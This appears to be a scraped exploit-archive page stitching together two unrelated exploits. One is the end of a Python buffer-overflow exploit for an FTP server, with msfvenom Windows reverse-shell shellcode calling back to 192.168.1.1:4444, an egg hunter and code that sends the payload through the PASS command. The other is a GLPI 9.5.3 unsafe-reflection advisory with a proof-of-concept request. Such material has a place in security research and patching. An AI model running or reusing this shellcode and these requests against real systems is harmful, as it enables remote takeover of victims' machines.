s = socket(AF_INET, SOCK_STREAM)
s.connect((TARGET, 21))

# msfvenom -p windows/shell_reverse_tcp -f python -b '\x00\x0a\x0d' LHOST=192.168.1.1 LPORT=4444
buf =  b""
buf += b"\xba\x1e\xb6\xaa\x95\xda\xc3\xd9\x74\x24\xf4\x5d\x29"
buf += b"\xc9\xb1\x52\x83\xc5\x04\x31\x55\x0e\x03\x4b\xb8\x48"
buf += b"\x60\x8f\x2c\x0e\x8b\x6f\xad\x6f\x05\x8a\x9c\xaf\x71"
buf += b"\xdf\x8f\x1f\xf1\x8d\x23\xeb\x57\x25\xb7\x99\x7f\x4a"
buf += b"\x70\x17\xa6\x65\x81\x04\x9a\xe4\x01\x57\xcf\xc6\x38"
buf += b"\x98\x02\x07\x7c\xc5\xef\x55\xd5\x81\x42\x49\x52\xdf"
buf += b"\x5e\xe2\x28\xf1\xe6\x17\xf8\xf0\xc7\x86\x72\xab\xc7"
buf += b"\x29\x56\xc7\x41\x31\xbb\xe2\x18\xca\x0f\x98\x9a\x1a"
buf += b"\x5e\x61\x30\x63\x6e\x90\x48\xa4\x49\x4b\x3f\xdc\xa9"
buf += b"\xf6\x38\x1b\xd3\x2c\xcc\xbf\x73\xa6\x76\x1b\x85\x6b"
buf += b"\xe0\xe8\x89\xc0\x66\xb6\x8d\xd7\xab\xcd\xaa\x5c\x4a"
buf += b"\x01\x3b\x26\x69\x85\x67\xfc\x10\x9c\xcd\x53\x2c\xfe"
buf += b"\xad\x0c\x88\x75\x43\x58\xa1\xd4\x0c\xad\x88\xe6\xcc"
buf += b"\xb9\x9b\x95\xfe\x66\x30\x31\xb3\xef\x9e\xc6\xb4\xc5"
buf += b"\x67\x58\x4b\xe6\x97\x71\x88\xb2\xc7\xe9\x39\xbb\x83"
buf += b"\xe9\xc6\x6e\x03\xb9\x68\xc1\xe4\x69\xc9\xb1\x8c\x63"
buf += b"\xc6\xee\xad\x8c\x0c\x87\x44\x77\xc7\x68\x30\x76\x16"
buf += b"\x01\x43\x78\x09\x8d\xca\x9e\x43\x3d\x9b\x09\xfc\xa4"
buf += b"\x86\xc1\x9d\x29\x1d\xac\x9e\xa2\x92\x51\x50\x43\xde"
buf += b"\x41\x05\xa3\x95\x3b\x80\xbc\x03\x53\x4e\x2e\xc8\xa3"
buf += b"\x19\x53\x47\xf4\x4e\xa5\x9e\x90\x62\x9c\x08\x86\x7e"
buf += b"\x78\x72\x02\xa5\xb9\x7d\x8b\x28\x85\x59\x9b\xf4\x06"
buf += b"\xe6\xcf\xa8\x50\xb0\xb9\x0e\x0b\x72\x13\xd9\xe0\xdc"
buf += b"\xf3\x9c\xca\xde\x85\xa0\x06\xa9\x69\x10\xff\xec\x96"
buf += b"\x9d\x97\xf8\xef\xc3\x07\x06\x3a\x40\x37\x4d\x66\xe1"
buf += b"\xd0\x08\xf3\xb3\xbc\xaa\x2e\xf7\xb8\x28\xda\x88\x3e"
buf += b"\x30\xaf\x8d\x7b\xf6\x5c\xfc\x14\x93\x62\x53\x14\xb6"

total_length = 545-len(SOURCE)
eip = b'\x7f\x79\x4c\x00'
hunter =  b'\x90\x90\x90\x90\x90\x90' # padding              ; nop slide to account for variable offset base on source ip
hunter += b'\xfd'                     # std                  ; set df flag so we search high to low
hunter += b'\xb8\x43\x42\x41\x40'     # mov eax, 0x40414243  ; egg
hunter += b'\x89\xF7'                 # mov edi, esi         ; start searching from esi
hunter += b'\x47'                     # inc edi
hunter += b'\x90'                     # nop
hunter += b'\x83\xC7\x03'             # add edi, 0x3         ; scasd decrements by 4, add 3 so we search 1 by 1
hunter += b'\xaf'                     # scasd                ; check for egg at edi
hunter += b'\x75\xfa'                 # short jnz -0x6       ; jump back to add edi, 0x3
hunter += b'\x83\xC7\x03'             # add edi, 0x3
hunter += b'\xaf'                     # scasd
hunter += b'\x75\xfa'                 # short jnz -0x6
hunter += b'\x83\xC7\x1f'             # add edi, 0x1f        ; account for egg hunter
hunter += b'\xff\xe7'                 # jmp edi              ; egg found, let's go!
hunter += b'\x90\x90\x90\x90\x90\x90' # padding              ; nop slide to account for variable offset again

payload = hunter + buf + b'\x90'*(total_length-len(eip)-len(hunter)-len(buf)) + eip

s.send(b'USER anonymous\r\n')
print(s.recv(1024))
print(s.recv(1024))
s.send(b'PASS ' + payload + b'\r\n')
print(s.recv(1024))
s.send(b'QUIT\r\n')
print(s.recv(1024))
HireHackking 
# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection
# Date: 2021-02-13
# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: <=9.5.3
# Tested on:v9.5.3, 2021-02-13
# Technical advisories:
# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp
# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/


Impact:

Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a “POP chain”.
As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.

Description:

When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.
When a PHP object gets destroyed, its __destruct() method is executed.
There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.

Vulnerable code sample:

--- file dropdownConnect.php:
if (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {
exit();
}
---
--- file dbutils.class.php, function getItemForItemtype($itemtype)
if (class_exists($itemtype)) {
return new $itemtype();
}
//handle namespaces
if (substr($itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) {
$itemtype = stripslashes($itemtype);
if (class_exists($itemtype)) {
return new $itemtype();
}
}
---

POC/Steps to reproduce:

Issue a request*:
POST /ajax/dropdownConnect.php HTTP/1.1
Host: glpi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 12

fromtype=XXX
* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:
GLPI Core: "Glpi\Foo\Bar"
GLPI Plugins: "PluginFooBar"